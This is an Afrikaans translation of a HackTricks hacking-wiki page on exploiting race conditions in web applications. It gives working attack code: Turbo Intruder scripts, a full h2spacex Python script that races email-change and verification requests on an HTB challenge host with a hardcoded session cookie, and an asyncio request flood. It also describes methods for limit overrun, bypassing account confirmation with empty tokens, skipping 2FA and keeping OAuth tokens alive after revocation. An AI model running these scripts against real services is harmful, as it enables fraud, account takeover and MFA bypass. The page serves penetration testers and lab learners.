Race Condition

Gebruik Trickest om maklik te bou en outomatiese werksvloei te skep wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word. Kry Toegang Vandag:

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Vir 'n diep begrip van hierdie tegniek, kyk na die oorspronklike verslag in https://portswigger.net/research/smashing-the-state-machine

Verbetering van Race Condition Aanvalle

Die hoofhindernis om voordeel te trek uit race conditions is om te verseker dat verskeie versoeke gelyktydig hanteer word, met baie min verskil in hul verwerkingstye—ideaal gesproke, minder as 1ms.

Hier kan jy 'n paar tegnieke vir die Sinchronisering van Versoeke vind:

HTTP/2 Enkelpakket Aanval vs. HTTP/1.1 Laaste-Bit Sinchronisering

  • HTTP/2: Ondersteun die sending van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerk jitter verminder. egter, weens variasies aan die bediener se kant, mag twee versoeke nie genoeg wees vir 'n konsekwente race condition uitbuiting nie.

  • HTTP/1.1 'Laaste-Bit Sync': Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik.

Voorbereiding vir Laaste-Bit Sync behels:

  1. Stuur koptekste en liggaamsdata minus die finale byte sonder om die stroom te beëindig.

  2. Pauzeer vir 100ms na die aanvanklike sending.

  3. Deaktiveer TCP_NODELAY om Nagle se algoritme te benut vir die bundeling van finale rame.

  4. Ping om die verbinding op te warm.

Die daaropvolgende sending van teruggehoude rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie.

Aanpassing by Bediener Argitektuur

Om die teiken se argitektuur te verstaan, is van kardinale belang. Front-end bedieners mag versoeke anders roete, wat tydsberekening beïnvloed. Voorkomende bediener-kant verbinding opwarming, deur onbelangrike versoeke, mag versoek tydsberekening normaliseer.

Hantering van Sessie-gebaseerde Vergrendeling

Raamwerke soos PHP se sessiehandler serialiseer versoeke volgens sessie, wat moontlik kwesbaarhede verdoesel. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.

Oorkoming van Tempo of Hulpbron Limiete

As verbinding opwarming nie effektief is nie, kan die doelbewuste onttriggering van webbedieners se tempo of hulpbron limiet vertragings deur 'n vloed van dummy versoeke die enkelpakket aanval fasiliteer deur 'n bediener-kant vertraging te veroorsaak wat bevorderlik is vir race conditions.

Aanval Voorbeelde

  • Tubo Intruder - HTTP2 enkelpakket aanval (1 eindpunt): Jy kan die versoek na Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder) stuur, jy kan die waarde wat jy wil brute force vir %s soos in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s verander en dan die examples/race-single-packer-attack.py uit die keuselys kies:

As jy verskillende waardes gaan stuur, kan jy die kode met hierdie een wat 'n woordlys van die klembord gebruik, aanpas:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik Engine.THREADED of Engine.BURP in plaas van Engine.BURP2.

  • Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte): In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die race-single-packet-attack.py skrip met iets soos:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Dit is ook beskikbaar in Repeater via die nuwe 'Stuur groep in parallel' opsie in Burp Suite.

  • Vir limit-overrun kan jy net die dieselfde versoek 50 keer in die groep voeg.

  • Vir connection warming, kan jy byvoeg aan die begin van die groep 'n paar versoeke na 'n nie-statiese deel van die webbediener.

  • Vir delaying die proses tussen die verwerking van een versoek en 'n ander in 'n 2 substates stappe, kan jy extra versoeke tussen beide versoeke voeg.

  • Vir 'n multi-endpoint RC kan jy begin om die versoek te stuur wat na die versteekte toestand gaan en dan 50 versoeke net daarna wat die versteekte toestand benut.

  • Geoutomatiseerde python skrip: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig, maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was). Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons ons het die verifikasietoken van die veranderde e-pos ontvang en beëindig ons die aanval.

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Verbetering van Enkelpakketaanval

In die oorspronklike navorsing word verduidelik dat hierdie aanval 'n limiet van 1,500 bytes het. egter, in hierdie pos, is verduidelik hoe dit moontlik is om die 1,500-byte beperking van die enkelpakketaanval uit te brei na die 65,535 B vensterbeperking van TCP deur IP-laag fragmentasie te gebruik (om 'n enkele pakket in verskeie IP-pakkette te verdeel) en dit in 'n ander volgorde te stuur, wat dit moontlik maak om die pakket se hersameling te voorkom totdat al die fragmente by die bediener aankom. Hierdie tegniek het die navorser in staat gestel om 10,000 versoeke in ongeveer 166ms te stuur.

Let daarop dat alhoewel hierdie verbetering die aanval meer betroubaar maak in RC wat honderde/duisende pakkette vereis om op dieselfde tyd aan te kom, dit ook 'n paar sagtewarebeperkings kan hê. Sommige gewilde HTTP-bedieners soos Apache, Nginx en Go het 'n streng SETTINGS_MAX_CONCURRENT_STREAMS instelling van 100, 128 en 250. egter, ander soos NodeJS en nghttp2 het dit onbeperk. Dit beteken basies dat Apache slegs 100 HTTP-verbindinge van 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC-aanval beperk).

Jy kan 'n paar voorbeelde van hierdie tegniek in die repo vind https://github.com/Ry0taK/first-sequence-sync/tree/main.

Rau BF

Voor die vorige navorsing was daar 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.

  • Herhaler: Kyk na die voorbeelde van die vorige afdeling.

  • Indringer: Stuur die versoek na Indringer, stel die aantal drade op 30 binne die Opsies-menu en, kies as payload Null payloads en genereer 30.

  • Turbo Indringer

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodologie

Limit-oortreding / TOCTOU

Dit is die mees basiese tipe van 'n race condition waar kwesbaarhede wat verskyn in plekke wat die aantal kere wat jy 'n aksie kan uitvoer, beperk. Soos om dieselfde afslagkode verskeie kere in 'n webwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in hierdie verslag of in hierdie fout.

Daar is baie variasies van hierdie tipe aanval, insluitend:

  • 'n Geskenkkaart verskeie kere inlos

  • 'n Produk verskeie kere beoordeel

  • Kontant onttrek of oordra bo jou rekeningbalans

  • 'n Enkele CAPTCHA-oplossing hergebruik

  • 'n Anti-brute-force koerslimiet omseil

Versteekte substates

Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of onbedoelde masjien substates te kommunikeer. Hier is hoe om dit aan te pak:

  1. Identifiseer Potensiële Versteekte Substates

  • Begin deur eindpunte te identifiseer wat kritieke data, soos gebruikersprofiele of wagwoordherstelprosesse, wysig of mee kommunikeer. Fokus op:

  • Berging: Verkies eindpunte wat server-kant volhoubare data manipuleer bo dié wat data kliënt-kant hanteer.

  • Aksie: Soek na operasies wat bestaande data verander, wat meer waarskynlik is om benutbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.

  • Sleuteling: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifiseerder gesleutel is, bv. gebruikersnaam of hersteltoken.

  1. Voer Aanvanklike Probering Uit

  • Toets die geïdentifiseerde eindpunte met race condition aanvalle, en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in toepassingsgedrag kan 'n kwesbaarheid aandui.

  1. Demonstreer die Kwesbaarheid

  • Beperk die aanval tot die minimale aantal versoeke wat nodig is om die kwesbaarheid te benut, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis weens die presiese tydsberekening wat betrokke is.

Tydsensitiewe Aanvalle

Presisie in die tydsberekening van versoeke kan kwesbaarhede onthul, veral wanneer voorspelbare metodes soos tydstempels vir sekuriteits tokens gebruik word. Byvoorbeeld, die generering van wagwoordherstel tokens gebaseer op tydstempels kan identiese tokens vir gelyktydige versoeke toelaat.

Om te Benut:

  • Gebruik presiese tydsberekening, soos 'n enkele pakket aanval, om gelyktydige wagwoordherstel versoeke te maak. Identiese tokens dui op 'n kwesbaarheid.

Voorbeeld:

  • Versoek twee wagwoordherstel tokens op dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generasie.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Versteekte substates gevalstudies

Betaal & voeg 'n Item by

Kyk na hierdie PortSwigger Lab om te sien hoe om te betaal in 'n winkel en 'n ekstra item by te voeg wat jy nie hoef te betaal nie.

Bevestig ander e-posse

Die idee is om 'n e-posadres te verifieer en dit terselfdertyd na 'n ander een te verander om uit te vind of die platform die nuwe een wat verander is, verifieer.

Verander e-pos na 2 e-posadresse Koekie-gebaseerd

Volgens hierdie navorsing was Gitlab kwesbaar vir 'n oorneem op hierdie manier omdat dit mag stuur die e-posverifikasietoken van een e-pos na die ander e-pos.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Versteekte Databasis toestande / Bevestiging Omseiling

As 2 verskillende skrywe gebruik word om inligting binne 'n databasis toe te voeg, is daar 'n klein tydsdeel waar slegs die eerste data geskryf is binne die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die gebruikersnaam en wagwoord geskryf word en dan die token om die nuut geskepte rekening te bevestig, geskryf word. Dit beteken dat vir 'n kort tyd die token om 'n rekening te bevestig nul is.

Daarom kan die registrasie van 'n rekening en die stuur van verskeie versoeke met 'n leë token (token= of token[]= of enige ander variasie) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te bevestig waar jy nie die e-pos beheer nie.

Kyk na hierdie PortSwigger Lab om dit te probeer.

Omseil 2FA

Die volgende pseudo-kode is kwesbaar vir race condition omdat daar in 'n baie kort tyd die 2FA nie afgedwing word terwyl die sessie geskep word:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ewige volharding

Daar is verskeie OAUth verskaffers. Hierdie dienste sal jou toelaat om 'n toepassing te skep en gebruikers te verifieer wat die verskaffer geregistreer het. Om dit te doen, sal die klient jou toepassing moet toelaat om toegang te verkry tot sommige van hul data binne die OAUth verskaffer. So, tot hier is dit net 'n algemene aanmelding met google/linkedin/github... waar jy 'n bladsy te sien kry wat sê: "Toepassing <InsertCoolName> wil toegang tot jou inligting hê, wil jy dit toelaat?"

Race Condition in authorization_code

Die probleem verskyn wanneer jy dit aanvaar en outomaties 'n authorization_code na die kwaadwillige toepassing stuur. Dan, hierdie toepassing misbruik 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT (Authentication Token/Refresh Token) van die authorization_code vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om verskeie rekeninge te skep. Dan, as jy stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees.

Race Condition in Refresh Token

Sodra jy 'n geldige RT verkry het, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en selfs as die gebruiker die toestemmings kanselleer vir die kwaadwillige toepassing om toegang tot sy data te verkry, sal verskeie RT's steeds geldig wees.

RC in WebSockets

In WS_RaceCondition_PoC kan jy 'n PoC in Java vind om websocket boodskappe in parallel te stuur om Race Conditions ook in Web Sockets te misbruik.

Verwysings

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat deur die wêreld se mees gevorderde gemeenskap gereedskap aangedryf word. Kry Toegang Vandag:

Last updated